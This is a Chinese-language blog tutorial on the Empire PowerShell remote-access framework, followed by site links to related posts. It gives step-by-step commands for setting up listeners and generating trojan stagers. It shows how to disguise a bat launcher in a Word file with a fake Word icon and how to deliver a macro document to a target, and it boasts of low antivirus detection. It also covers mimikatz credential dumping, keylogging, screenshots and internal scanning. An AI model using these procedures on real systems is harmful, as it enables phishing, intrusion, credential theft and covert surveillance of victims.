0x00 简介
Empire是一款针对Windows平台的,使用PowerShell脚本作为攻击载荷的渗透攻击框架代码具有从stager生成,提权到渗透维持的一系列功能,无需powershell.exe就可以使用powershell的代理功能还可以快速在后期部署漏洞利用模块,内置模块有键盘记录,Mimikatz,绕过UAC,内网扫描等,可以躲避网络检测和大部分安全防护工具,类似于Meterpreter,是一个基于PowerShell的远控木马(www.powershellempire.com)
 
0x02 安装
 
0x03 使用
help 查看帮助
  1. 设置监听
    1. listeners #进入监听线程界面
    2. uselistener #设置监听模式
    3. info #查看具体参数设置
    4. set #设置相应参数
    5. execute #开始监听
uselistener 用来设置监听模式
uselistener <tab> <tab> 查看可以使用的监听模式
uselistener http 采用http监听模式,输入info 查看具体参数设置
Required 为 true 的参数都是需要设置的
set Name Micr067 #设置任务名称
set Host 192.168.190.133 # 设置主机IP(Empire 所在服务器的地址)
execute # 执行
参数设置好后,可以在执行之前使用info 检查参数配置是否正确
# 需要注意的是Empire不同于metasploit,Empire命令是区分大小写的
输入back可以返回上一层,也就是listeners 界面,
list 列出当前激活的 listener
 
  1. 生成木马
    1. usestager #设置模块
 
使用 usestager 命令设置生成木马的模块
usestager <tab> <tab> 查看所有可使用的木马生成模块
其中 multi 为通用mok,osx 为 Mac操作系统的模块,windows 就是windows的模块。
(1) dll 模块
usestager windows/dll # 选择dll模块
info 查看一下需要设置的参数信息
这里我们需要设置一下listener,然后 execute 执行,木马生成目录 /tmp/launcher.dll
(2) launcher
如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器中输入命令 launcher <language> <Listener Name> 生成base64编码的代码,
输入back 返回到 Listener 界面,输入 launcher powershell Micr067 来生成一个payload
然后将生成的payload 在目标机器上执行,即可获得 session
可以看到Empire 已经上线了一个名为 GL8DBS32 的主机,
输入 agents 可以查看已经获得的session,这里的agents 相当于 msf 中的 sessions -l
此时的代理名GL8DBS32 是随机生成的,为了方便记忆,我们可以通过rename对其重命名
rename <Old Name> <New Name>
rename GL8DBS32 PC2
(3) launcher_vbs
usestager windows/launcher_vbs # 设置launcher_vbs木马
set Listener micr067
execute
当在目标机器上执行vbs木马,即可获得session,
当然也可以在配置好参数后返回 listener 通过 launcher powershell micr067 生成base 64代码运行
(4) launcher_bat
usestager windows/launcher_bat
set Listener micr067
execute
在目标主机上运行生成的launcher.bat,成功获得一个新的session
为了增加迷惑性,可以将bat文件插入一个office文件(word/excel)中,依次选择插入---对象---选择“由文件创建”---通过浏览“选定bat文件”---勾选“显示为图标”---“更改图标”从而获得更好的迷惑性,
将图标更改为word图标,更改文件显示名,可以获得更好的迷惑性,此处没word图标就凑活着用吧!
额,要是改为word图标简直完美。
当目标机器用户点击了word中的附件,即可触发运行bat,kali成功又获得一个新session
(5)Macro 木马
usestager windows/macro
set Listener micr067
execute
 
将生成的宏文件添加到office文件中,打开word文档,点击“试图”,选择“宏”,“宏名”随便起,宏位置选择当前office文件,单击“创建”会弹出VB编辑界面。
将原来的代码删除,将macro宏文件代码复制粘贴到其中,另存为“word 97-2003文档”
 
word 97-2003文档
将修改好的word发送到目标机器,当用户点击触发即可运行宏病毒,当用户点击启用宏内容时,
服务端将接收到session
由于在物理机上安装有杀毒软件,在物理机上打开word,服务端成功获得session,短时间内杀软未报毒,
当用户点击了“启用内容”按钮,下次打开word会自动运行宏病毒,不再弹出提示。
杀软反应还是很迟钝的,慢了7,8分钟,应该是本地病毒库没有匹配到特征在云端分析的
将样本上传virustotal进行分析,57家只有一家能够准确识别该宏病毒,
除了白利用,这种效果还是很理想的。
使用微步进行分析,检出率为0
 
 
  1. 连接主机
    1. agents #列出当前已连接的主机
    2. interact #连接主机
    3. remove stale #删除失效主机
    4. help agentcmds #查看常用命令
    5. 使用CMD命令时,要使用”shell+命令”
 
使用agents 列出当前已经连接的主机,Username带(*)说明是已经提权成功的主机。
interact <主机名> # 使用 interact 连接主机,主机名可以用tab补全
 
使用 help agentcmds 查看常用命令
尝试一下Empire内置的 mimikatz 模块,输入 mimikatz 命令,使用mimikatz 需要管理员权限,由于物理主机装了杀软,提权会被杀软拦截,这里使用的是payload域内的一台 win7 靶机。
creds 命令可以自动过滤、整理出获取到的用户密码。
当内网抓取到的密码比较多,比较乱的时候,可以通过 命令对 hash/plaintext 进行排列、增加、删除、导出等操作,
将 凭证 导出 ,输入 creds export /root/pc2.csv
pc2.csv.csv
在实际渗透中,总会出现部分主机会话丢失或者失效的情况,
使用 list stale 命令 列出已经丢失的反弹主机,然后输入remove stale 命令删除已经失效的主机
其他命令:
Bypass UAC 提权、SC 截图、Download 下载文件 、Upload 上传文件。。。
 
  1. 信息收集
    1. search module #搜索需要使用的模块
    2. usemodule powershell/collection+Tab #查看完整列表
    3. 常用模块
      1. usemodule powershell/collection/screenshotàexecute #截屏
      2. usemodule powershell/collection/keyloggeràexecute #键盘记录
      3. usemodule powershell/collection/clipboard_monitor #剪贴板记录
      4. usemodule powershell/situational_awareness/network/powerview/share_finder #列出域内所有共享
      5. usemodule powershell/situational_awareness/host/winenum #查看本级机用户,域组成员系统基本信息等
 
usemodule <tab> <tab> # 查看所有模块
usemodule powershell/collection/ <tab> <tab> # 查看collection模块具体功能
屏幕截图
usemodule powershell/collection/keylogger
截屏结果保存在目录 Empire/downloads/主机名/screenshot
 
键盘记录
usemodule powershell/collection/keylogger
set Agent PC2
execute
键盘记录结果保存在目录 Empire/downloads/主机名/agents.log
列出域内所有共享
powershell/situational_awareness/network/powerview/share_finder
 
查看本机用户,域组成员系统基本信息
usemodule powershell/situational_awareness/host/winenum
 
列举系统中所有有用信息,报告各种日志、RDP登录信息等
usemodule powershell/situational_awareness/host/computerdetails*
 
ARP扫描
usemodule powershell/situational_awareness/network/arpscan
set Agent PC2
set range 192.168.190.1-192.168.190.254
execute
 
dns信息获取
usemodule powershell/situational_awareness/network/reverse_dns
 
显示当前内网dns服务器地址
usemodule powershell/situational_awareness/host/dnsserver
 
查找域管登录服务器IP
usemodule powershell/situational_awareness/network/powerview/user_hunter
 

PowerShell渗透--Empire的更多相关文章

  1. PowerShell渗透--Empire(二)

    权限提升 Bypass UAC usemodule powershell/privesc/bypassuac 设置listener execute list查看 usemodule powershel ...

  2. PowerShell渗透--Empire(三)

    会话注入 我们可以使用usemodule management/psinject模块来进程注入,获取权限 设置下Listeners和ProcID这2个参数,这里的ProcID就是之前的CMD的pid, ...

  3. Powershell 渗透测试工具-Nishang

    Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...

  4. powershell渗透-信息收集命令

    powershell渗透-信息收集命令 本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助. 该列表包括各种开发后的单行 ...

  5. Powershell渗透测试系列–进阶篇

    原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html i春秋作家:anyedt 0×00 引言 经过基础篇的学习我们已经对powershell有了一个 ...

  6. Final——PowerShell Empire

    一.介绍 Empire是一款针对Windows平台的.使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成.提权到渗透维持的一系列功能.Empire实现了无需powers ...

  7. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  8. PowerSploit-CodeExecution(代码执行)脚本渗透实战

    首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察.权限提升.权限维持. 项目地址:https://g ...

  9. Python渗透测试工具库

    漏洞及渗透练习平台 WebGoat漏洞练习平台: https://github.com/WebGoat/WebGoat webgoat-legacy漏洞练习平台: https://github.com ...

随机推荐

  1. 松软科技课堂:SQL-SELECT-INTO语句

    SQL SELECT INTO 语句可用于创建表的备份复件. SELECT INTO 语句 SELECT INTO 语句从一个表中选取数据,然后把数据插入另一个表中. SELECT INTO 语句常用 ...

  2. HttpServlet类

    1.我们知道让Servlet成功在服务端运行,就必须实现Servlet接口,而下面的这种方式没有直接实现Servlet接口,而是间接实现了Servlet接口: import javax.servlet ...

  3. 002:CSS基础

    注意:蓝色 重要:红色 目录: 1. 学会使用CSS选择器: 9大选择器.交集选择器.并集选择器.后代选择器.子代选择器.伪类选择器. 2.font.color.横向竖向居中.文本修饰.首行缩进. f ...

  4. Android四大组件之服务的两种启动方式详解

    Service简单概述 Service(服务):是一个没有用户界面.可以在后台长期运行且可以执行操作的应用组件.服务可由其他应用组件启动(如:Activity.另一个service).此外,组件可以绑 ...

  5. Java13新特性

    Java 13 的官方开发目标包含改进垃圾收集.应用程序的类数据共享和文本块 Java 开发工具包(JDK)13,标准 Java 的下一个版本,现在可作为候选版本使用,所有新功能都已锁定.JDK 13 ...

  6. [翻译] ASP.NET Core 3.0 的新增功能

    ASP.NET Core 3.0 的新增功能 全文翻译自微软官方文档英文版 What's new in ASP.NET Core 3.0 本文重点介绍了 ASP.NET Core 3.0 中最重要的更 ...

  7. C++基础之顺序容器

    顺序容器简介: 顺序容器类型 描述 vector 可变大小数组,支持快速访问,在尾部之外的地方插入或删除时可能很慢 deque 双端队列.支持快速访问,在头尾插入删除会很快. list 双向列表.只支 ...

  8. svn新建文件不能提交的解决方法

    svn新建文件不能提交的解决方法 在当前新建文件的目录下,右键空白处: 选择Properties 找到所有有ignore字眼的属性,查看这个属性的继承目录(inherited from),入我的是cl ...

  9. IT修养-基础篇

    1.科学基础 成为开发人员的过程不尽相同,有的是科班出身,有的是兴趣爱好,还有的是专业机构的培训,在这个过程中,可能全面或者零散甚至没有学习过计算机基础学科,但无论是哪一种,想要成为更高层次的开发人员 ...

  10. 打印方案之web打印

    前言: 前一段时间在工作中,遇到需要通过打印实现对报表或者工作流清单等事情时,都需要运用到打印功能,那么 ,这个时候你会怎么处理? 在这里,我们可以通过最简单的方式实现web打印功能,简单易懂,方便快 ...